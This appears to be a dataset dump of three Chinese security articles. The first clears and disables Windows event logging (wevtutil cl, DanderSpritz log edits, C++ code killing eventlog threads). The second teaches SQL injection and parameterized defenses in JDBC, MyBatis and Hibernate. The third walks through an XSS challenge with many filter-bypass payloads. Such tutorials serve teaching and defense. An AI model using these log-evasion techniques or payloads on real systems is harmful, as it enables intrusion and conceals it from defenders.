text
stringlengths 100
9.93M
| category
stringclasses 11
values |
|---|---|
## 0x00 前言
在渗透测试过程中，Windows日志往往会记录系统上的敏感操作，如添加用户，远程登录执行等。
对于一次完整的渗透测试，通常会选择对Windows日志进行清除和绕过，而对于防御者来说，了解常用的绕过方法也有助于更好的保护自己的系统。
所以本文将要介绍常见的Windows日志清除与绕过方法，分享经验，帮助大家。
## 0x01 简介
本文将要介绍以下内容：
Windows日志的常用清除方法
Windows日志的两种绕过方法
## 0x02 Windows日志
Windows日志包括五个类别：
>应用程序
>安全
>Setup
>系统
>转发事件
查看方式：
### 1、通过面板
位置如下：
Control PanelSystem and Security-View event logs-Windows Logs
如下图
### 2、通过Powershell
常用命令如下：
(管理员权限)
查看所有日志：
`Get-WinEvent`
查看应用程序类别下的日志：
`Get-WinEvent -FilterHashtable @{logname="Application";}`
## 0x03 Windows日志的常用清除方法
### 1、wevtutil.exe
操作系统默认包含，支持系统：Win7及以上
常用命令如下：
(1) 统计日志列表，查询所有日志信息，包含时间，数目
`wevtutil.exe gli Application`
操作如下图
(2) 查看指定类别的日志内容
`wevtutil qe /f:text Application`
操作如下图
(3) 删除该类日志所有内容
`wevtutil cl Application`
操作如下图
Application日志全部清除，数目为0
(4) 删除单条内容
尚不支持
### 2、NSA DanderSpiritz
DanderSpritz是NSA的一款界面化的远控工具
相关介绍可参考：
<https://3gstudent.github.io/3gstudent.github.io/NSA-DanderSpiritz%E6%B5%8B%E8%AF%95%E6%8C%87%E5%8D%97-%E6%9C%A8%E9%A9%AC%E7%94%9F%E6%88%90%E4%B8%8E%E6%B5%8B%E8%AF%95/>
常用命令如下：
(1) 统计日志列表，查询所有日志信息，包含时间，数目
`eventlogquery -log Application`
(2) 查看指定类别的日志内容
`eventlogfilter -log Application -num 10`
(3) 删除该类日志所有内容
`eventlogclear -log Application`
(4) 删除单条内容
`eventlogedit -log Application -record 1`
注：
record序号可通过eventlogfilter获得
## 0x04 Windows日志的绕过方法
本文介绍的思路参考自Halil Dalabasmaz@hlldz的文章，地址如下：
<https://artofpwn.com/phant0m-killing-windows-event-log.html>
绕过原理：
Windows日志对应于eventlog服务，找到该服务对应的进程svchost.exe，进而筛选出svchost.exe进程中具体实现日志功能的线程，调用TerminateThread结束线程，破坏日志记录功能
特别的地方：
由于只结束了实现日志功能的线程，所以Windows Event Log服务没有被破坏，状态仍为正在运行
#### 绕过方法一
1、定位eventlog服务对应进程svchost.exe的pid
2、遍历该进程中的所有线程
3、判断线程是否满足条件
Windows Event Log 服务需要调用wevtsvc.dll，完整路径为%WinDir%System32wevtsvc.dll
并且，如果线程调用了wevtsvc.dll，就可以判读该线程实现了日志记录功能
4、结束线程
使用TerminateThread
注：
Halil Dalabasmaz@hlldz使用powershell实现了方法一，完整代码可参考：
<https://github.com/hlldz/Invoke-Phant0m>
powershell脚本执行后，Windows日志功能失效，无法记录日志，操作如下图
5、恢复方法
结束进程svchost.exe
重新开启Windows Event Log 服务：
`net start eventlog`
操作如下图
#### 绕过方法二
1、定位eventlog服务对应进程svchost.exe的pid
powershell代码如下：
`Get-WmiObject -Class win32_service -Filter "name =
'eventlog'" | select -exp ProcessId`
找到svchost.exe的pid为7008，如下图
2、遍历该进程中的所有线程
使用PsList
pslist下载地址如下：
<https://technet.microsoft.com/en-us/sysinternals/bb896682.aspx>
具体参数如下：
`pslist.exe /accepteula -d 7008`
获取进程svchost.exe中的所有线程，如下图
3、判断线程是否满足条件
获取线程对应的服务，如果为eventlog，则满足条件
使用工具：ScTagQuery
下载地址：
<http://www.winsiderss.com/tools/sctagquery/sctagqry.zip>
具体参数如下：
`sctagqry.exe -t 7928`
根据返回的结果Service Tag，判断线程对应的服务
找到对应eventlog的线程，如下图
线程8136符合条件，依次尝试，直到获取所有符合条件线程
注：
使用Process Explorer可以简化此过程
找到eventlog服务对应进程svchost.exe
如下图
右键查看属性，选择Threads标签，查看线程,可直接获得线程对应的服务
如下图
符合条件的线程TID为：
8136
8052
6708
2316
6356
4、结束线程
调用TerminateThread
通过c++实现，部分代码如下：
int main(int argc, char* argv[])
{
printf("TerminateThread TID:n");
for(int i=1;i<argc;i++)
{
printf("%sn",argv[i]);
HANDLE hThread = OpenThread(0x0001, FALSE,atoi(argv[i]));
if(TerminateThread(hThread,0)==0)
printf("[!] TerminateThread Error, TID: %s n",argv[i]);
CloseHandle(hThread);
}
return 0;
}
完整代码已上传至github，地址如下：
<https://github.com/3gstudent/Windwos-EventLog-Bypass/blob/master/TerminateEventLogThread.cpp>
控制台支持传入多个参数，向其传入5个TID： 8136 8052 6708 2316 6356
自动结束对应线程，日志功能失效
具体操作如下图
注：
稍后我会在github上更新该绕过方法的完整实现代码，地址如下：
<https://github.com/3gstudent/Windwos-EventLog-Bypass>
## 0x05 补充
### 1、安装sysmon可对Windows日志功能进行扩展
相关介绍和绕过思路可参考;
<https://3gstudent.github.io/3gstudent.github.io/%E9%80%9A%E8%BF%87APC%E5%AE%9E%E7%8E%B0Dll%E6%B3%A8%E5%85%A5-%E7%BB%95%E8%BF%87Sysmon%E7%9B%91%E6%8E%A7/>
### 2、绕过方法仅针对Windows日志
对应用程序和服务日志失效，例如Windows Powershell
如下图
## 0x06 小结
本文对Windows日志的清除和绕过方法做了介绍，希望能够帮助大家，接下来会分享绕过方法二的具体程序实现方法。
>本文为 3gstudent 原创稿件，授权嘶吼独家发布，未经许可禁止转载，如若转载，请注明来源于嘶吼：
<http://www.4hou.com/penetration/5998.html> | 社区文章 |
**欢迎关注我的公众号《壳中之魂》**
# **环境**
使用mysql，数据库名为test，含有1表名为users，users内数据如下
# **JDBC下的SQL注入**
在JDBC下有两种方法执行SQL语句，分别是Statement和PrepareStatement，即其中，PrepareStatement为预编译
## **Statement**
SQL语句
SELECT * FROM users WHERE username = '" + username + "' AND password = '" + password + "'
当传入数据为
username = admin
password = admin
SELECT * FROM users WHERE username = 'admin' AND password = 'admin';
即当存在username=admin和password=admin的数据时则返回此用户的数据
万能密码：admin\' and 1=1#
最终的sql语句变为了
SELECT \* FROM users WHERE username = \'admin\' and 1=1#
即返回用户名为admin，同时1=1的所有数据，1=1恒为真，所以始终返回所有数据
如果输入的时：admin\' or 1=1#就会返回所有数据，因为admin\' or 1=1恒为真
所以JDBC使用Statement是不安全的，需要程序员做好过滤，所以一般使用JDBC的程序员会更喜欢使用PrepareStatement做预编译，预编译不仅提高了程序执行的效率，还提高了安全性
## **PreParedStatement**
与Statement的区别在于PrepareStatement会对SQL语句进行预编译，预编译的好处不仅在于在一定程度上防止了sql注入，还减少了sql语句的编译次数，提高了性能，其原理是先去编译sql语句，无论最后输入为何，预编译的语句只是作为字符串来执行，而SQL注入只对编译过程有破坏作用，执行阶段只是把输入串作为数据处理，不需要再对SQL语句进行解析，因此解决了注入问题
因为SQL语句编译阶段是进行词法分析、语法分析、语义分析等过程的，也就是说编译过程识别了关键字、执行逻辑之类的东西，编译结束了这条SQL语句能干什么就定了。而在编译之后加入注入的部分，就已经没办法改变执行逻辑了，这部分就只能是相当于输入字符串被处理
详情：[[数据库预编译为何能防止SQL注入？ -知乎(zhihu.com)]{.ul}](https://www.zhihu.com/question/43581628)
而Statement方法在每次执行时都需要编译，会增大系统开销。理论上PrepareStatement的效率和安全性会比Statement要好，但并不意味着使用PrepareStatement就绝对安全，不会产生SQL注入。
PrepareStatement防御预编译的写法是使用?作为占位符然后将SQL语句进行预编译，由于?作为占位符已经告诉数据库整个SQL语句的结构，即?处传入的是参数，而不会是sql语句，所以即使攻击者传入sql语句也不会被数据库解析
String sql = "SELECT * FROM users WHERE username = ? AND password = ?";
//预编译sql语句
PreparedStatement pstt = connection.prepareStatement(sql);
pstt.setString(1,username);
pstt.setString(2, password);
ResultSet resultSet = pstt.executeQuery();//返回结果集，封装了全部的产部的查询结果
首先先规定好SQL语句的结构，然后在对占位符进行数据的插入，这样就会对sql语句进行防御，攻击者构造的paylaod会被解释成普通的字符串，我们可以通过过输出查看最终会变成什么sql语句
可以发现还会对单引号进行转义，一般只能通过宽字节注入，下面将会在代码的层面展示为什么预编译能够防止SQL注入，同时解释为什么会多出一个转义符
## **不安全的预编译**
### **拼接**
总所周知，sql注入之所以能被攻击者利用，主要原因在于攻击者可以构造payload，虽然有的开发人员采用了预编译但是却由于缺乏安全思想或者是偷懒会直接采取拼接的方式构造SQL语句，此时进行预编译则无法阻止SQL注入的产生
代码（稍稍替换一下上面的代码）：
//创建sql语句
String sql = "SELECT * FROM users WHERE username = '" + req.getParameter("username") + "' AND password = '" + req.getParameter("password") + "'";
System.out.println(sql);
//预编译sql语句
PreparedStatement pstt = connection.prepareStatement(sql);
ResultSet resultSet = pstt.executeQuery(sql);//返回结果集，封装了全部的产部的查询结果
这样即使使用了预编译，但是预编译的语句已经是被攻击者构造好的语句，所以无法防御SQL注入
又或者是前面使用?占位符后，又对语句进行拼接，也会导致SQL注入
想要做到阻止sql注入，首先要做到使用?作为占位符，规定好sql语句的结构，然后在后面不破坏结构
### **使用in语句**
`String sql = \"delete from users where id in(\"+delIds+\");`
此删除语句大多用在复选框内，在in当中使用拼接而不使用占位符做预编译的原因是因为很多时候无法确定deIds里含有多少个对象
输入：`1,2`
正常只会输出id为1和2的值
如果此时输入：`1,2) or 1=1#`
就会形成SQL注入，输出苦库里所有的值
正确写法：
还是要用到预编译，所以我们要对传入的对象进行处理，首先确定对象的个数，然后增加同量的占位符?以便预编译
public int gradeDelete(Connection con, String delIds) throws Exception{
String num = "";
//将对象分割开来，分割的点以实际而定
String[] spl = delIds.split(".");
//根据对象的个数添加同量的占位符?，用来预编译
for(int i = 0; i< spl.length; i++){
if(i == 0){
num += "?";
} else {
num += ".?";
}
}
String sql = "delete from users where id in("+num+")";
prepareStatement pstmt = con.prepareStatement(sql);
try {
for(int j = 0; j < spl.length; j++){
pstmt.setInt(j+1, integer.parseint(spl[j]));
}
return pstmt.executeUpdate();
} catch(Exception e){
//
}
return 0;
}
以bilibili的删除视频为例，当我取消收藏夹复数个视频的收藏时抓到的包为
892223071%3A2%2C542789708%3A2%2C507228005%3A2%2C422244777%3A2%2C549672309%3A2%2C719381183%3A2%2C976919238%3A2%2C722053417%3A2
解码后为
892223071:2,542789708:2,507228005:2,422244777:2,549672309:2,719381183:2,976919238:2,722053417:2
可以发现其以:2,分割，那我们只需在split中填写
`String\[\] spl = delIds.split(\":2,\");`
即可，结果为：
然后再使用预编译
### **使用like语句**
boolean jud = true;
String sql = "select * from users ";
System.out.println("请输入要查询的内容：");
String con = sc.nextLine();
for (int i = 0; i < con.length(); i++){
if(!Character.isDigit(con.charAt(i))){
jud = false;
break;
}
}
if(jud){
sql += "where password like '%" + con + "%'";
}else{
sql += "where username like '%" + con + "%'";
}
当用户输入的为字符串则查询用户名和密码含有输入内容的用户信息，当用户输入的为纯数字则单查询密码，用拼接地方式会造成SQL注入
正常执行：
SQL注入
正确写法
首先我们要将拼接的地方全部改为?做占位符，但是使用占位符后要使用setString来把传入的参数替换占位符，所以我们要先进行判断，判断需要插入替换多少个占位符
boolean jud = true;
int v = 0;
String sql = "select * from users ";
System.out.println("请输入要查询的内容：");
String con = sc.nextLine();
for (int i = 0; i < con.length(); i++){
if(!Character.isDigit(con.charAt(i))){
jud = false;
break;
}
}
if(jud){
sql += "where password like ?";
v = 1;
}else{
sql += "where username like ? and password like ?";
v = 2;
}
//预编译sql语句
PreparedStatement pstt = connection.prepareStatement(sql);
if(v == 1){
pstt.setString(1, "%"+con+"%");
}else if (v == 2){
pstt.setString(1, "%"+con+"%");
pstt.setString(2, "%"+con+"%");
}
尝试进行SQL注入
发现被转义了
### **使用order by语句**
通过上面对使用in关键字和like关键字发现，只需要对要传参的位置使用占位符进行预编译时似乎就可以完全防止SQL注入，然而事实并非如此，当使用order
by语句时是无法使用预编译的，原因是order
by子句后面需要加字段名或者字段位置，而字段名是不能带引号的，否则就会被认为是一个字符串而不是字段名，然而使用PreapareStatement将会强制给参数加上'，我在下面会在代码层面分析为什么会这样处理参数
所以，在使用order by语句时就必须得使用拼接的Statement，所以就会造成SQL注入，所以还要在过滤上做好防御的准备
## **调试分析PrepareStatement防止SQL注入的原理**
进入调试，深度查看PrepareStatement预编译是怎么防止sql注入的
用户名输入admin，密码输入admin'，目的是查看预编译如何对一个合理的字符串以及一个不合理的字符串进行处理
由于我们输入的username和password分别是admin和admin'，而其中admin'属于非法值，所以我们只在
`pstt.setString(2, password);`
打上断点，然后步入setString方法
步过到2275行，这里有一个名为needsQuoted的布尔变量，默认为true
然后进入if判断，其中有一个方法为isEscapeNeededForString
步入后发现有一个布尔的needsHexEscape，默认为false，然后将字符串，也就是传入的参数admin'进行逐字解析，判断是否有非法字符，如果有则置needsHexEscape为true且break循环，然后返回needsHexEscape
由于我们传入的是admin'，带有'单引号，所以在switch的过程中会捕捉到，置needsHexEscape =
true后直接break掉循环，然后直接返回needsHexEscape
向上返回到了setString方法，经过if判断后运行if体里面的代码，首先创建了一个StringBuilder，长度为传入参数即admin+2，然后分别在参数的开头和结尾添加'
简单来说，此switch体的作用就是对正常的字符不做处理，直接向StringBuilder添加同样的字符，如果非法字符，则添加转移后的非法字符，由于不是直接的替换，而是以添加的方式，简单来说就是完全没有使用到用户传入的的参数，自然就做到了防护
我们传入的为admin'，被switch捕捉到后\'后会在StringBuilder添加\和\'，最终我们的admin'会变为\'admin\\\'，也就是'admin'，同样防止了SQL注入最重要的一环
--闭合语句
然后根据要插入占位符的位置进行插入
# **Mybatis下的SQL注入**
## **Mybatis的两种传参方式**
首先要了解在Mybatis下有两种传参方式，分别是${}以及#{}，其区别是，使用${}的方式传参，mybatis是将传入的参数直接拼接到SQL语句上，二使用#{}传参则是和JDBC一样转换为占位符来进行预编译
[[Mybatis中#{}和${}传参的区别及#和$的区别小结_java_脚本之家(jb51.net)]{.ul}](https://www.jb51.net/article/88026.htm)
在#{}下运行的结果：
`select * from users where username = #{username} and password = #{password}`
在\${}下运行的结果：
`select * from users where username = "${username}" and password =
"${password}"`
## **SQL注入**
### **${}**
PeopleMapper设置
<select id="getPeopleList1" resultType="com.g1ts.People">
select * from users where username = #{username} and password = #{password}
</select>
正常运行：
username:admin
password:admin
sql注入：
username:admin" and 1=1#
password:sef
成功sql注入
### **#{}**
Mapper设置
<select id="getPeopleList2" resultType="People">
select * from users where username = #{username} and password = #{password}
</select>
正常运行
username:admin
password:admin
尝试SQL注入
username:admin" and 1=1#
password:sef
SQL注入失败
### **使用like语句**
正确写法
mysql:
select * from users where username like concat('%',#{username},'%')
oracle:
select * from users where username like '%'||#{username}||'%'
sqlserver:
select * from users where username like '%'+#{username}+'%'
### **使用in语句**
正确写法
mysql:
select * from users where username like concat('%',#{username},'%')
oracle:
select * from users where username like '%'||#{username}||'%'
sqlserver:
select * from users where username like '%'+#{username}+'%'
### **使用order by语句**
和JDBC同理，使用#{}方式传参会导致order by语句失效，所以使用order by语句的时候还是需要做好过滤
## **调试分析Mybatis防止SQL注入的原理**
本人学艺不精，一直定位定位不到XMLScriptBuilder上，所以只好看一下别人写的mybatis解析过程，通过解析过程来定位方法位置
先说结论，首先Mybatis会先对mapper里面的SQL语句进行判断，判断内容为是以\${}传参还是以#{}传参，如果以#{}传参则使用?作为占位符进行预编译，Mybatis只会对SQL语句的占位符做一定的处理，处理传入参数最后的步骤还是调用会JDBC的预编译
完整调用流程：
**${}解析执行过程**
首先在XMLScriptBuilder中的parseDynamicNode()
在这里进行了一次判断，先说结论，这个isDynamic的判断其实就是判断mapper.xml中的sql语句是使用#{}预编译还是使${}拼接，使用${}则进入DynamicSqlSource，否则进入RawSqlSource
进入parseDynamicTags方法，可以发现有两种情况会使isDynamic为true，而其中isDynamic()就是用来判定的
进入isDynamic()
可以看到运行了两个方法，分别是DynamicCheckerTokenParser()以及createParser()，主要出在createParser()上，查看方法体
发现调用了GenericTokenParser方法，传入了openToken、closeToken以及handler三个参数，其中openToken的值为${、closeToken的值为}，很明显就是对sql语句进行解析，判断是否为${}方式传参，进入到GenericTokenParser方法
然而只是单纯的设置变量的值，一直向上返回到isDynamic()，进入下一条语句parser.parse(this.text);
在调试使就可清楚看到传入的值了，${}和sql语句同时出现，猜测就是在这里进行了匹配
进入到parse方法，此方法对sql语句进行解析，当遇到${}的字段则将此位置空(null)，从返回的StringBuilder值可以看出
执行完后返回到isDynamic()方法下，在return值递归，其实就是返回isDynamic的值，然后向上返回到一直返回到了parseScriptNode()方法
最终结果就会创建一个DynamicSqlSource对象
至此，对SQL语句的解析告一段落，直到运行到peopleMapper.getPeopleList1(people1)，步入到invoke方法
前面的方法大致就是获取传入的参数和获取sql语句，步进到execute方法，此方法作用是判断SQL语句的类型
由于我们的SQL语句使select，所以会落在witch体的select内，步入case select的excuteForMany方法
继续步入selectList方法，后面这里我不知道准确流程是怎么样的，反正经过我一番调试最终到了query方法这里，然后步入getBoundSql方法
步入getBoundSql方法后可以看一下参数，发现sqlSource的类型正是前面设置的DynamicSqlSource
继续步入getBoundSql方法，然后步进到rootSqlNode.apply方法
这里有有个坑点啊，可能是因为我技术不够，由于这个apply方法有很多个实现，直接步进会跑到MixerSqlNode里面，但我查阅了资料发现实际上是在TextSqlNode里面
步入createParser方法，发现调用了GenericTokenParser，这在上面解析的过程也是一样的
从parse方法中返回的StringBuider可以发现，已经成功将参数和SQL语句拼接在一起了
### **#{}解析执行过程**
在前面分析\${}的过程中就提到了在XMLScriptBuilder中的parseDynamicNode()方法，目的就是为了判断mapper.xml文件内的SQL语句究竟是用${}方式传参还是使用#{}方式传参，如果是#{}方式则最终会调用RawSqlSource方法
步入RawSqlSource方法
继续运行，步入到sqlSourceParser.parse方法
可以发现出现了解析${}时用到的函数
`GenericTokenParser parser = new GenericTokenParser("#{", "}", handler);`
进入方法体后发现目的是设置openToken和closeToken的值分别为#{和}
真正对SQL语句进行了操作的是
`String sql = parser.parse(originalSql);`
步入parser.parse方法，运行到结尾后查看StringBuilder的值，发现函数把#{}用?替换了
到此，解析过程结束，一直运行到peopleMapper.getPeopleList1(people1)，步入到invoke方法，然后前面的流程大致和${}解析一致，进入mapperMethod.execute方法，然后会判断执行的sql语句类型，然后进入executeForMany方法，一直运行到selectList方法，最后进入query方法
query方法会调用自身作为返回值
在此方法的返回值又会调用delegate.query方法，而这个方法就是我执行#{}的方法，进入后一直运行到
else {
list = this.queryFromDatabase(ms, parameter, rowBounds, resultHandler, key, boundSql);
}
后进入
进入queryFromDatabase方法后运行到
try {
list = this.doQuery(ms, parameter, rowBounds, resultHandler, boundSql);
}
进入doQuery方法，进入prepareStatement()方法
其中
`Connection connection = this.getConnection(statementLog);`
是与数据库建立连接的对象
步入parameterize()方法
继续步入，到setParameters方法
setParameters方法的作用，是将SQL语句和传入的参数进行拼接
在`List<ParameterMapping> parameterMappings =
this.boundSql.getParameterMappings();`中，获取了boundSql，即获取到了设置的sql语句
`ParameterMapping parameterMapping =
(ParameterMapping)parameterMappings.get(i);`
获取到了SQL语句中所需要的参数，我的SQL语句为select * from users where
username = #{username} and password = #{password}，所以需要username和password两个参数
运行到
步入setParameter方法
在图示处打上断点，步入setNonNullParameter方法
继续在图示处打上断点，步入setParameter方法
继续在图示处打上断点，步入setNonNullParameter方法
虽然方法名是一样的，但是并不是同一个方法，步入setString方法
这里用到了动态代理，最终还是调用回了jdbc的preperStatement，在图示处打上断点并步入
发现这个setString和上文所讲的JDBC的预编译使用一个函数，后面的编译方式与JDBC相同
# **Hibernate**
## **Hibernate执行语句的两种方法**
Hibernate可以使用hql来执行SQL语句，也可以直接执行SQL语句，无论是哪种方式都有可能导致SQL注入
## **Hibernate下的SQL注入**
### **HQL**
hql语句：
String hql = "from People where username = '" + username + "' and password = '" + password + "'";
首先先观察一下正常登录和错误登陆下的的情况
正常登录：
Hibernate:
/*
from
People
where
username = 'admin'
and password = 'admin' */ select
people0_.id as id1_0_,
people0_.username as username2_0_,
people0_.password as password3_0_
from
users people0_
where
people0_.username='admin'
and people0_.password='admin'
admin
错误登陆：
Hibernate:
/*
from
People
where
username = 'admin'
and password = 'adadawd' */ select
people0_.id as id1_0_,
people0_.username as username2_0_,
people0_.password as password3_0_
from
users people0_
where
people0_.username='admin'
and people0_.password='adadawd'
可以发现之间的区别在于成功登录后最后面返回了用户名
尝试进行SQL注入：
输入：
请输入用户名：
admin' or '1'='1
请输入密码
qwer
返回：
Hibernate:
/*
from
People
where
username = 'admin'
or '1'='1'
and password = 'qwer' */ select
people0_.id as id1_0_,
people0_.username as username2_0_,
people0_.password as password3_0_
from
users people0_
where
people0_.username='admin'
or '1'='1'
and people0_.password='qwer'
admin
可以发现，经过拼接后，SQL语句变为了
`from People where username = 'admin' or '1'='1' and password = 'qwer'`
说明了使用这种拼接的方式和jdbc以及mybatis是一样会产生sql注入的
正确写法：
正确使用以下几种HQL参数绑定的方式可以有效避免注入的产生
**位置参数（Positional parameter）**
String parameter = "g1ts";
Query<User> query = session.createQuery("from users name = ?1", User.class);
query.setParameter(1, parameter);
**命名参数（named parameter）**
Query<User> query = session.createQuery("from users name = ?1", User.class);
String parameter = "g1ts";
Query<User> query = session.createQuery("from users name = :name", User.class);
query.setParameter("name", parameter);
**命名参数列表（named parameter list）**
List<String> names = Arrays.asList("g1ts", "g2ts");
Query<User> query = session.createQuery("from users where name in (:names)", User.class);
query.setParameter("names", names);
**类实例（JavaBean）**
user1.setName("g1ts");
Query<User> query = session.createQuery("from users where name =:name", User.class);
query.setProperties(user1);
### **SQL**
Hibernate支持使用原生SQL语句执行，所以其风险和JDBC是一致的，直接使用拼接的方法时会导致SQL注入
语句如下：
`Query<People> query = session.createNativeQuery("select * from user where
username = '" + username + "' and password = '" + password + "'");`
正确写法
String parameter = "g1ts";
Query<User> query = session.createNativeQuery("select * from user where name = :name");
query.setParameter("name",parameter);
## **调试分析Hibernate预防SQL注入原理**
Hibernate框架最终还是使用了JDBC中预编译防止SQL注入的方法
**完整过程**
查看一下hibernate预编译的过程
首先在
`List\<People> list = query.list();`
打下断点，步入
步入list方法
继续步入list方法
步入doList方法
步入bind方法
步入nullSafeSet方法
步入getBinder方法
最后调用的st.setString就是jdbc的setString方法 | 社区文章 |
# xss挑战之旅
## **level1**
url：<http://xss-ctf.xiejiahe.com/level1?name=test>
关键代码分析
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
输入test<，可以看到没有任何过滤
通过url进行控制，常用payload
<script>alert('xss')</script>
<svg/onload=alert('xss')>
<script>prompt('xss')</script>
<script>confirm('xss')</script>
## **level2**
url：<http://xss-ctf.xiejiahe.com/level2?keyword=test>
关键代码分析
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level2.php method=GET>
<input name=keyword value='".htmlspecialchars($str)."'>
<input type=submit name=submit value=搜索 />
使用GET方法，从url中接受一个keyword搜索参数，此处用到了一个过滤函数htmlspecialchars()，这个函数把预定义的字符转换为HTML实体
本题是搜索型xss
输入常见的payload：`<script>alert('xss')</script>`
没有弹窗，审查元素可以看到的输入的XSS语句被赋值给value并且在input标签里，所以我们需要闭合value和input标签才可以正常弹窗
输入框构造常用payload：
`" onmouseover=alert(/xss/)>click`
当鼠标移动到搜索框就会触发弹窗
审查元素，可以看到我们的输入变成了
`"><script>alert(/xss/)</script>`
`"><script>confirm(/xss/)</script>`
`"><script>prompt(/xss/)</script>`
其它payload:
其它payload:
" onchange=alert`document.domain` // 要在输入框里再次输入参数，并按下空格，才会弹窗
" oninput=alert`document.domain` // 要在输入框里再次输入参数
" onfocus=alert(document.domain) autofocus；// 要再次单击搜索框
## **level3**
url：<http://xss-ctf.xiejiahe.com/level3?keyword=wait>
关键源代码分析
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level3.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
发现过滤了 < 和 >使用的str_replace函数，需要用 "
闭合value标签。注意：str_replace函数是区分大小写的，str_ireplace函数不区分大小写，所以有时候我们还可以利用大小写绕过。
构造payload：
`' onclick=alert(/xss/)//`
输入payload后，单击搜索框，就会触发弹窗
审查元素发现我们的输入变成了
' onmouseover=alert('xss')// 当鼠标移动到搜索框触发弹窗
' oninput=alert`xss` //
' oninput=alert`xss` ' 要在输入框内再次输入参数触发弹窗
' onchange=alert`xss` //
' onchange=alert`xss` ' 要在输入框里再次输入参数，并按下空格，才会弹窗
## **level4**
url：<http://xss-ctf.xiejiahe.com/level4?keyword=try%20harder!>
关键源码分析
可以看到，传入进去的值经过了两个函数的参与，str_replace(">","",$str)，此函数是将变量str中的字符>转换为空，转换时区分大小写；同样也把<转换为空，然后再经过函数的过滤转化，这时要在没有符号“<>”，的情况下构造语句，并且不被htmlspecialchars()函数影响。所以这里可以构造一个输入到文本框后出现相应的事件。
构造payload：
`" onfocus=alert(xss) autofocus="`
onfocus事件：定义的事件将在对象获得焦点时触发，这里指input标签获得焦点。
autofocus属性：input标签的属性，当页面加载input标签，自动获得焦点。
焦点：这里指你的光标的位置，也就是说当你的光标出现在input文本框这里，将进行onfocus事件的发生。
其它payload：
" onmouseover=alert('xss') 当鼠标移动到搜索框触发弹窗
" oninput=alert`xss` 要在输入框内再次输入参数触发弹窗
" onchange=alert`xss`//
" onchange=alert`xss` ' 要在输入框里再次输入参数，并按下空格，才会弹窗
## **level5**
url：<http://xss-ctf.xiejiahe.com/level5?keyword=find%20a%20way%20out!>
关键代码分析
看一下源代码，str2=strreplace("<script","<scr_ipt",str)，str3=strreplace("on","o_n",str2)是把<script转换为<scr_ipt，on转换成o_n，这样就过滤了js事件，过滤了script标签和on标签，str=strtolower(_GET[''keyword"]);大小写绕过也会失效，不过这次没有过滤尖括号><，没过滤a标签，可以使用伪协议来构造payload：
`"><iframe src=javascript:alert(/xss/)>`
"> <a href="javascript:%61lert(5)">click me !!!</a>
点击click me,成功弹窗
`"><a href=" javascript:alert(/xss/)"`
点击payload的长度为36，触发弹窗
## **level6**
url：<http://xss-ctf.xiejiahe.com/level6?keyword=break%20it%20out!>
关键源码分析
由于是用str_replace函数来过滤的，这一关没有对大小写的限制，所以我们可以通过大小写变换来绕过。
构造payload：
`"> <SCRIpt>alert(/xss/)</SCriPT>`
`"> <img Src=a ONerrOR=alert(/xss/)>`
"> <a HrEf="javascript:alert(/xss/)">click me!!!</a> 还要点击click me
审查元素
`" ONclick=alert(/xss/) //`还要点击输入框
`"><svg x="" ONclick=alert(/xss/)>` 点击这个区域才会触发弹窗
## **level7**
url：<http://xss-ctf.xiejiahe.com/level7?keyword=move%20up!>
关键源码分析
审查代码，我们可以发现script，on，src，data，href都被转换成空了，大小写也不能用了，所以本题我们可以尝试双写绕过。
构造 payload：
`" oonnclick=alert(/xss/)//` 点击搜索框，触发弹窗
`" oonnmouseover=alert(/xss/)//` 鼠标移动到输入框出触发弹窗
`" oonninput=alert(/xss/) "` 要在输入框内再次输入参数，才会触发弹窗
## **level8**
url：<http://xss-ctf.xiejiahe.com/level8?>
关键代码分析
通过审查源代码我们可以发现，"script"转换为"scr_ipt"，"on"转换为"o_n"，"src"转换为"sr_c"，"data"转换为"da_ta"，"href"转换为"hr_ef"，'"'转换为'"'，大小写过滤并被编码，尖括号><，单引号'，%，#，&符号没有被过滤，输出点在a标签内，href属性中，属性里的双引号被转换成HTML实体，无法截断属性，这里可以使用伪协议绕过javascript:alert，javascript:伪协议声明了URL的主体是任意的javascript代码，它由javascript的解释器运行，由于script关键字被过滤，javascript会被替换成javasc_ript，使用r来代替r,伪协议后面可以使用URL编码进行编码。
Payload：
javascript:%61lert(/XSS/)
javascript:%61lert`/xss/`
javascript:alert`/xss/`
审查元素
点击友情链接
## **level9**
url：<http://xss-ctf.xiejiahe.com/level9?keyword=not%20bad!>
关键代码分析
通过审查源码发现"script"转换为"scr_ipt"，"on"转换为"o_n"，"src"转换为"sr_c"，"data"转换为"da_ta"，"href"转换为"hr_ef"，'"'转换为'"'，和上一关差不多，不同的是多了自动检测URL，如果发现没有带<http://内容则会显示为不合法。>
构造payload：
javascript:alert(1)//http://
javascript:%0dhttp://%0dalert(/xss/)
审查元素
点击友情链接
## **level10**
url：<http://xss-ctf.xiejiahe.com/level10?keyword=well%20done!>
关键代码分析
通过审查源码发现需要两个参数，一个是keyword，一个是t_sort，尖括号<>都被转换成空，还有三个hidden的隐藏输入框，或许可以从隐藏的输入框下手，构造payload。
payload：
keyword=test&t_sort="type="text" onclick="alert(/xss/)
审查元素
keyword=test&t_sort=" type="text" onmouseover="alert(/xss/)
keyword=test&t_sort=" type="text"onmouseover=alert`/xss/` "
keyword=well done!&t_sort=" type="text" onclick="alert(/xss/)
## **level11**
url：<http://xss-ctf.xiejiahe.com/level11?keyword=good%20job!>
关键代码分析
通过审查源码发现和上一关相似，多了一个str11=$_SERVER['HTTP_REFERER'];验证的是http头部的xss注入，使用burp抓包，修改相应的字段，构造http头部referer的payload。
头部本身没有Referer，自行添加了，
payload：Referer:" onmouseover=alert(/xss/) type="text"
Referer:" onclick="alert(/xss/)" type="text
鼠标移动到搜索框触发弹窗
审查元素
## **level12**
url：<http://xss-ctf.xiejiahe.com/level12?keyword=good%20job!>
关键代码分析
通过审查源码发现，str11=_SERVER['HTTP_USER_AGENT'];应该是User-Agent的http头部注入，burp抓包，构造头部User-Agent的payload。
User-Agent:" onmouseover=alert(/xss/) type="text"
User-Agent:" onclick="alert(/xss/)" type="text
鼠标移动到搜索框触发弹窗
审查元素
## **level13**
url：<http://xss-ctf.xiejiahe.com/level13?keyword=good%20job!>
关键代码分析
